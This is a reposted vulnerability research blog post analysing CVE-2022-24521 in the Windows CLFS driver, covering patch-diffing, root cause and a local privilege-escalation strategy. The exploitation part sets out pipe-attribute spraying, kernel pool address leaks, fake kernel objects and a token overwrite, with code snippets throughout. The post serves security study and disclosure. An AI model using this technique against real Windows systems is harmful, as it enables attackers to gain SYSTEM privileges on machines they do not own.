原文始发于Sergey Kornienko:CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability
CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability
Overview
In the security updates of April 2022, Microsoft patched two vulnerabilities (CVE-2022-24481 and CVE-2022-24521) in the CLFS.sys driver. The CLFS kernel component first gain popularity as an attack vector to escape browser sandboxes in 2016. Since then, although this feature is now disabled in popular sandboxes, it is still being frequently abused to escalate privileges locally in Windows.
In this blog post, we analyse the root-cause for one of the vulnerabilties and also discuss how it could be trivially and incredibly reliable to be exploited. Note that in the absence of any public information separating these CVEs, we’ve decided to use CVE-2022-24521 to refer to the vulnerability described herein because we have confirmed its exploitability whereas Microsoft rates CVE-2022-24481 as “Exploit Code Maturity: Unproven”. Of course we could be wrong here 🙂
This exploit was developed and tested on Windows 10 21H2 (OS Build 19044.1620).
The CLFS component has been well-researched into by the community and these [1][2][3] are excellent sources for internals, format and documentation
CLFS Internals
CLFS is a log framework that was introduced by Microsoft in Windows Vista and Windows Server 2003 R2 for high performance. It provides applications with API functions to create, store and read log data. CLFS log storage basically consists of two parts:
Each log block starts with a structure named _CLFS_LOG_BLOCK_HEADER
:
- typedef struct _CLFS_LOG_BLOCK_HEADER
- {
- UCHAR MajorVersion;
- UCHAR MinorVersion;
- UCHAR Usn;
- CLFS_CLIENT_ID ClientId;
- USHORT TotalSectorCount;
- USHORT ValidSectorCount;
- ULONG Padding;
- ULONG Checksum;
- ULONG Flags;
- CLFS_LSN CurrentLsn;
- CLFS_LSN NextLsn;
- ULONG RecordOffsets[16];
- ULONG SignaturesOffset;
- } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;
RecordOffsets
is an array of offsets to the records inside the log block. In fact, CLFS only takes care of the first record offset (0x70) which points at the end of CLFS_LOG_BLOCK_HEADER
. When the base log file is stored on a disk, its log blocks must be encoded. In an encoded state, each sector has a two-byte signature which is used to guarantee consistency:
- typedef struct _CLFS_LOG_BLOCK_HEADER
- {
- UCHAR SECTOR_BLOCK_TYPE;
- UCHAR Usn;
- };
During the encoding process the last two bytes of each sector are overwritten with the associated signature. To store all of the sector bytes that were replaced by the sector signature, there is an array which is pointed by SignaturesOffset
field.
Base log record stores metadata used to associate the base log file with the containers. It starts with the following header:
- typedef struct _CLFS_BASE_RECORD_HEADER
- {
- CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
- CLFS_LOG_ID cidLog;
- ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
- ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
- ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
- ULONG cNextContainer;
- CLFS_CLIENT_ID cNextClient;
- ULONG cFreeContainers;
- ULONG cActiveContainers;
- ULONG cbFreeContainers;
- ULONG cbBusyContainers;
- ULONG rgClients[MAX_CLIENTS_DEFAULT];
- ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
- ULONG cbSymbolZone;
- ULONG cbSector;
- USHORT bUnused;
- CLFS_LOG_STATE eLogState;
- UCHAR cUsn;
- UCHAR cClients;
- } CLFS_BASE_RECORD_HEADER, *PCLFS_BASE_RECORD_HEADER;
Fields gClients
and rgContainers
represent the arrays of offsets that point to the associated context objects.
Container context is represented by the following structure:
- typedef struct _CLFS_CONTAINER_CONTEXT
- {
- CLFS_NODE_ID cidNode;
- ULONGLONG cbContainer;
- CLFS_CONTAINER_ID cidContainer;
- CLFS_CONTAINER_ID cidQueue;
- union
- {
- CClfsContainer* pContainer;
- ULONGLONG ullAlignment;
- };
- CLFS_USN usnCurrent;
- CLFS_CONTAINER_STATE eState;
- ULONG cbPrevOffset;
- ULONG cbNextOffset;
- } CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;
pContainer
actually contains a kernel pointer to the CClfsContainer
class describing the container at runtime. This field must be set to zero when the log file is on disk.
Patch-Diffing
The security updates of April 2022 brings us quite small modifications to clfs.sys, so we can easily spot the vulnerable functionality. All in all, there are eight changed functions:
And two new functions:
A new logical block has been added to LoadContainerQ
:
- …
- containerArray = (_DWORD *)((char *)BaseLogRecord + 0x328); // *CLFS_CONTAINER_CONTEXT->rgContainers
- …
- v22 = CClfsBaseFile::ContainerCount(this);
- …
- while ( containerIndex < 0x400 )
- {
- v17 = (CClfsContainer *)containerIndex;
- if ( containerArray[containerIndex] )
- ++v24;
- v89 = ++containerIndex;
- }
- …
- if ( v24 == v22 )
- {
- if ( (unsigned int)Feature_Servicing_38197806__private_IsEnabled() )
- {
- v25 = (_OWORD *)((char *)v19 + 0x138);
- v26 = (unsigned int *)operator new(0x11F0ui64, PagedPool);
- rgObject = v26;
- if ( !v26 )
- {
- goto LABEL_135;
- }
- memmove(v26, containerArray, 0x1000ui64);
- v28 = rgObject + 0x400;
- v29 = 3i64;
- …
- v20 = CClfsBaseFile::ValidateRgOffsets(this, rgObject);
- v72 = v20;
- operator delete(rgObject);
- }
In fact, this block is a wrapper for CClfsBaseFile::ValidateRgOffsets
:
- __int64 __fastcall CClfsBaseFile::ValidateRgOffsets(CClfsBaseFile *this, unsigned int *rgObject)
- {
- …
- LogBlockPtr = *(_QWORD *)(*((_QWORD *)this + 6) + 48i64); // * _CLFS_LOG_BLOCK_HEADER
- …
- signatureOffset = LogBlockPtr + *(unsigned int *)(LogBlockPtr + 0x68); // PCLFS_LOG_BLOCK_HEADER->SignaturesOffset
- …
- qsort(rgObject, 0x47Cui64, 4ui64, CompareOffsets); // sort rgObject array
- while ( 1 )
- {
- currObjOffset = *rgObject2; // obtain offset from rgObject
- if ( *rgObject2 – 1 <= 0xFFFFFFFD )
- {
- pObjContext = CClfsBaseFile::OffsetToAddr(this, currObjOffset); // Obtain in-memory representation
- // of the object’s context structure
- …
- unkn = currObjOffset – 0x30;
- v13 = rgIndex * 4 + v5 + 0x30;
- if ( v13 < v5 || v5 && v13 > unkn )
- break;
- v5 = unkn;
- if ( *pObjContext == 0xC1FDF008 ) // CLFS_NODE_TYPE_CLIENT_CONTEXT
- {
- rgIndex = 0xC;
- }
- else
- {
- if ( *pObjContext != 0xC1FDF007 ) // CLFS_NODE_TYPE_CONTAINER_CONTEXT
- return 0xC01A000D;
- rgIndex = 0x22;
- }
- criticalRange = &pObjContext[rgIndex]; // get the address of context + 0x30
- if ( criticalRange < pObjContext || (unsigned __int64)criticalRange > signatureOffset ) // comapre with sig offset
- break;
- }
- ++i;
- ++rgObject2;
- if ( i >= 0x47C )
- return ret;
- }
- return 0xC01A000D;
- }
As we can see, this function simply checks that the signature offset does not intersect with any of the context objects. In addition, it also validates several context fields like CLFS_NODE_ID
.
Vulnerability: Root Cause Analysis
Let’s assume that the array of signatures intersects with the container or client context:
When the log block is encoded, sector’s bytes from SIG_*
are transferred to an array, pointed by SignaturesOffset
. While decoding, these bytes are written back to their initial location. If we’ll construct the base log record in a way that the container context and the signature array will be close to each other and then copy context’s bytes to SIG_0
… SIG_X
, encode and decode operation will not corrupt the container context. Moreover, all the data modified between encoding and decoding will be restored.
Now let’s assume that container context is modified in memory (PCLFS_CONTAINER_CONTEXT->pContainer
is zeroed). We searched for a while where it is actually used and this led us to CClfsBaseFilePersisted::RemoveContainer
which can be called directly from LoadContainerQ
:
- __int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
- {
- …
- v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
- v9 = v11;
- v16 = v11;
- if ( v11 >= 0 )
- {
- pContainer = *((_QWORD *)containerContext + 3);
- if ( pContainer )
- {
- *((_QWORD *)containerContext + 3) = 0i64;
- ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
- v4 = 0;
- (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
- (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
- v9 = v16;
- goto LABEL_20;
- }
- goto LABEL_19;
- }
- …
- }
To ensure that the user cannot pass any FAKE_pContainer
pointer to the kernel, before any indirect call this field is set to zero:
- v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
- if ( v44 == –1 )
- {
- *((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
- v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
- v72 = v20;
- if ( v20 < 0 )
- goto LABEL_134;
- v23 = v78;
- v34 = (unsigned int)(v34 + 1);
- v79 = v34;
- }
Everything goes as planned until there is no logical issue described above. To understand it better lets look inside the call chain CClfsBaseFilePersisted::FlushImage -> CClfsBaseFilePersisted::WriteMetadataBlock
which is in RemoveContainer
. The information associated with the deleted container should be also removed from the linked structures and this is done with the following code:
- …
- // Obtain all container contexts represented in blf
- // save pContainer class pointer for each valid container context
- for ( i = 0; i < 0x400; ++i )
- {
- v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
- v15 = (char *)this + 8 * i;
- if ( v20 >= 0 )
- {
- v16 = v22;
- *((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
- *((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
- CClfsBaseFile::ReleaseContainerContext(this, &v22);
- }
- else
- {
- *((_QWORD *)v15 + 56) = 0i64;
- }
- }
- // Stage [1] enode block, prepare it for writing
- ClfsEncodeBlock(
- (struct _CLFS_LOG_BLOCK_HEADER *)v9,
- *(unsigned __int16 *)(v9 + 4) << 9,
- *(_BYTE *)(v9 + 2),
- 0x10u,
- 1u);
- // write modified data
- v10 = CClfsContainer::WriteSector(
- *((CClfsContainer **)this + 19),
- *((struct _KEVENT **)this + 20),
- 0i64,
- *(void **)(*((_QWORD *)this + 6) + 24 * v8),
- *(unsigned __int16 *)(v9 + 4),
- &v23);
- …
- if ( v7 )
- {
- // Stage [2] Decode file again for futher processing in clfs.sys
- ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
- // optain new pContainer class pointer
- v17 = (_QWORD *)((char *)this + 448);
- do
- {
- // Stage [3] for each valid container
- // update pContainer field
- if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
- {
- *((_QWORD *)v22 + 3) = *v17;
- CClfsBaseFile::ReleaseContainerContext(this, &v22);
- }
- ++v6;
- ++v17;
- }
- while ( v6 < 0x400 );
- }
- …
When the operation begins, pContainer
is set to zero. During Stage [1] the information is encoded -> bytes from each sector are written to their location -> we restore the zeroed field with the information we provide from the user mode. The only issue is to make CClfsBaseFile::AcquireContainerContext
fail at Stage [3] (rather easy to do). If everything is done, we’ll be able to pass any address to an indirect call chain inside CClfsBaseFilePersisted::RemoveContainer
which leads to the direct RIP control.
Exploitation
To trigger the vulnerability an attacker should carefully construct the base log file and the associated containers to bypass different checks inside the driver’s code. Listing all the checks is out of scope for this article, but for simplicity, we’ll provide an example for the client context:
The PoC is as below:
- __int64 __fastcall CClfsBaseFile::GetSymbol(PERESOURCE *this, unsigned int a2, char a3, struct _CLFS_CLIENT_CONTEXT **a4)
- {
- …
- if ( CClfsBaseFile::IsValidOffset((CClfsBaseFile *)this, a2 + 135) )
- {
- v11 = CClfsBaseFile::OffsetToAddr((CClfsBaseFile *)this);
- if ( v11 )
- {
- if ( *(v11 – 3) != a2 )
- {
- v8 = –1073741816;
- goto LABEL_5;
- }
- v12 = ClfsQuadAlign(0x88u);
- // v13 is a pointer to ClientContext
- if ( *(_DWORD *)(v13 – 0x10) == (unsigned __int64)(v14 + v12) && *(_BYTE *)(v13 + 8) == a3 )
- {
- *a4 = (struct _CLFS_CLIENT_CONTEXT *)v13;
- goto LABEL_12;
- }
- }
- }
- …
- LABEL_12:
- if ( v10 )
- {
- ExReleaseResourceForThreadLite(this[4], (ERESOURCE_THREAD)KeGetCurrentThread());
- return v15;
- }
- return v8;
- }
It is also interesting how these two methods are actually called:
- mov rax, [rdi] ; pContainerVftbl
- mov rax, [rax+18h] ; method_1
- mov rcx, rdi ; save pointer to pContainer
- ; pass it as an argument
- ; for the controllable call
- call cs:__guard_dispatch_icall_fptr
- mov rax, [rdi]
- mov rax, [rax+8] ; method_2
- mov rcx, rdi
- call cs:__guard_dispatch_icall_fptr
The address of the controllable pContainer
is passed to the indirect call as an argument, so we can use any gadget which uses RCX
as a pointer to perform arbitrary read / write operations.
From here on, the exploitation strategy is closely based on the information from this excellent SSTIC2020: Scoop the Windows 10 pool! paper [4].
-
- Create pipe objects, add pipe attributes using
NtFsControlFile
API:- …
- CreatePipe( hR , hW , NULL , bufsize ) ;
- …
- NTSTATUS status = NtFsControlFile(
- hR,
- 0,
- NULL,
- NULL,
- &ret,
- 0x11003C,
- input,
- input_size,
- output,
- output_size
- );
The attributes are a key-value pair and stored in a linked list. The
PipeAttribute
object is allocated in the Paged Pool and is defined in the kernel by the following structure:- struct PipeAttribute {
- LIST_ENTRY list ;
- char * AttributeName;
- uint64_t AttributeValueSize;
- char * AttributeValue;
- char data [0];
- };
Note that the allocations must be large enough (4080+ bytes on x86, or 4064+ bytes on x64) to be processed in a big-pool [5].
- Anytime a kernel-mode component allocates over the limits above, a big-pool allocation is done instead. API
NtQuerySystemInformation
has an information class specifically designed for dumping big pool allocations. Including not only their size, their tag, and their type (Paged or Non-Paged), but also their kernel virtual address:- …
- NTSTATUS status = STATUS_SUCCESS;
- if (NT_SUCCESS(status = ZwQuerySystemInformation(SystemBigPoolInformation, mem, len, &len))) {
- PSYSTEM_BIGPOOL_INFORMATION pBuf = (PSYSTEM_BIGPOOL_INFORMATION)(mem);
- for (ULONG i = 0; i < pBuf->Count; i++) {
- __try {
- if (pBuf->AllocatedInfo[i].TagUlong == PIPE_ATTR_TAG) {
- // save me
- }
- }
- __except (EXCEPTION_EXECUTE_HANDLER) {
- DPRINT_LOG(“(%s) Access Violation was raised.”, __FUNCTION__);
- }
- }
- }
- …
Using this feature, we can easily get the address of the newly created pipe objects.
- Allocate fake_pipe_attribute object to be used later to inject its address to an original doubly linked list. We will save kernel pipe_attribute pointers as follows:
- …
- fake_pipe_attribute = (PipeAttributes*)VirtualAlloc(NULL, ATTRIBUTE_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
- …
- fake_pipe_attribute->list.Flink = pipe_attribute_1;
- fake_pipe_attribute->list.Blink = pipe_attribute_2;
- fake_pipe_attribute->id = ANY;
- fake_pipe_attribute->length = NEEDED;
- …
- Obtain selected gadget-module base address using
NtQuerySystemInformation
:- ntStatus = NtQuerySystemInformation(SystemModuleInformation,
- &module, /*pSysModInfo*/
- sizeof(module), /*sizeof(pSysModInfo) or 0*/
- &dwNeededSize );
- {
- …
- if (STATUS_INFO_LENGTH_MISMATCH == ntStatus)
- {
- pSysModInfo = ExAllocatePoolWithTag(NonPagedPool, dwNeededSize, ‘GETK’);
- if (pSysModInfo) {
- ntStatus = NtQuerySystemInformation(SystemModuleInformation,
- pSysModInfo,
- dwNeededSize,
- NULL );
- if (NT_SUCCESS(ntStatus))
- {
- for (int i=0; i<(int)pSysModInfo->dwNumberOfModules; ++i)
- {
- StrUpr(pSysModInfo->smi[i].ImageName); // Convert characters to uppercase
- if (strstr(pSysModInfo->smi[i].ImageName, MODULE_NAME)) {
- pModuleBase = pSysModInfo->smi[i].Base;
- break;
- }
- }
- }
- else { return; }
- ExFreePool(pSysModInfo)
- pSysModInfo = NULL;
- }
- }
- …
- }
- Trigger CLFS bug which allows us to call a module-gadget performing arbitrary data modification. Done properly, we will be able to overwrite
pipe_attribute_1->list.Flink
andpipe_attribute_2->list.Blink
withfake_pipe_attribute
pointer. Now, by requesting the read of the attribute (callingNtFsControlFile
with x110038 IOCTL) on thepipe_attribute_1 / pipe_attribute_2
, the kernel will use thePipeAttribute
that is in userland and thus fully controlled:Control over
AttributeValue
pointer and theAttributeValueSize
provides an arbitrary read primitive which can be used to obtainEPROCESS
address. - Trigger CLFS bug to overwrite usermode process token to elevate to system privileges.
- Create pipe objects, add pipe attributes using
References
-
- Peter Hlavaty (@zer0mem) and Jin Long (@long123king), DeathNote of Microsoft Windows Kernel
- Arav Garg (@AravGarg3), Exploiting a use-after-free in Windows Common Logging File System (CLFS)
- Alex Ionescu (@aionescu), CLFS Internals
- Corentin Bayet (@OnlyTheDuck) and Paul Fariello (@paulfariello), SSTIC2020: Scoop the Windows 10 pool!
- Alex Ionescu (@aionescu), Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool
转载请注明:CVE-2022-24521: Analysing and Exploiting the Windows Common Log File System (CLFS) Logical-Error Vulnerability | CTF导航